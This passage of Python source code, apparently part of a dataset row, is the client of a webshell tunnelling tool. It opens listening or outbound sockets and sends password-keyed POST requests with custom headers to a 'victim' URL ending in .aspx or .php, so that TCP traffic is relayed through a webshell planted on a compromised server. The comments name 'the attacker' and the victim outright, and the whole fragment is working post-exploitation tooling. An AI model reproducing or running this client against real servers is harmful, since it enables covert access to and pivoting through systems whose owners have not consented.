text
stringlengths
1
93.6k
))
# my_headers = get_bytes(_my_headers)
split_receiver = args.receiver.split(':', 1)
CONNECT_IP = split_receiver[0]
CONNECT_PORT = int(split_receiver[1])
print("[+] The remote webshell will listen for connections "
"on \n\t{}:{}".format(
split_target[0], split_target[1]))
print("[+] When a connection is established, this client will "
"connect to \n\t{}:{}".format(
CONNECT_IP, CONNECT_PORT))
else:
# this should not happen with the 'choice' option above
raise SystemExit('Unrecognised mode')
consock = None
# In 'Listen' mode, this client is waiting for a connection
# from the attacker
if SOCKET_MODE == 'Listen':
try:
srvsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srvsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srvsock.bind((LISTEN_INTERFACE, LISTEN_PORT))
log.debug('[*] Bound to: ' + LISTEN_INTERFACE + ':' + str(
LISTEN_PORT))
srvsock.listen(1)
print('[*] Listening for incoming connection')
(consock, address) = srvsock.accept()
print('[*] Connection from '
+ str(address[0])
+ ':'
+ str(address[1]))
except socket.error as e:
raise SystemExit(e)
# initialise factories for later
post_factory = POSTFactory(victim_url.path, victim_url.hostname, PASSWORD)
socket_factory = SocketFactory(victim_url, args.no_ssl)
###
#
# POST request
if victim_url.path.endswith(b".aspx") or victim_url.path.endswith(b".php"):
is_async = True
else:
is_async = False
# send dummy X-Nop:1 because the session storage
# might take a few tries before starting up. Go figure.
if is_async:
_cookies = []
_counter = 10
try:
while len(_cookies) == 0:
_cookies = send_nop_request(socket_factory, post_factory)
log.debug("After dummy POST, cookies: {}".format(
[c.decode() for c in _cookies]))
_counter -= 1
# FIXME - don't send too many or php will respond
# with a ton of cookies in the same response
time.sleep(1)
if _counter == 0:
raise SystemExit("Remote end did not send a cookie."
" Cannot initialise session.")
except TransmissionError:
raise SystemExit
# build the initial POST request
if is_async:
# initialise the whole thing
my_headers += b"X-Init: 1\r\n"
if args.force_cookie is not None:
my_headers += bake_cookies([get_bytes(args.force_cookie)])
# it's async; drop the connection
my_headers += b"Connection: close\r\n"
else:
# we can tunnel all in the same connection
my_headers += b"Connection: keep-alive\r\n"
req = post_factory.build_request(my_headers, b"", is_async)
log.debug("sending:\n---\n{}\n---\n".format(req.decode()))
#
####
###
#
# Initial connection
websock = socket_factory.build_socket()
try:
websock.settimeout(5)
with websock_mutex:
websock.sendall(req)
initial_response = read_until(websock, b'\r\n\r\n')
websock.settimeout(None)
except socket.error as e:
# this handles the websock.sendall exceptions
raise SystemExit("Socket error: {}".format(e))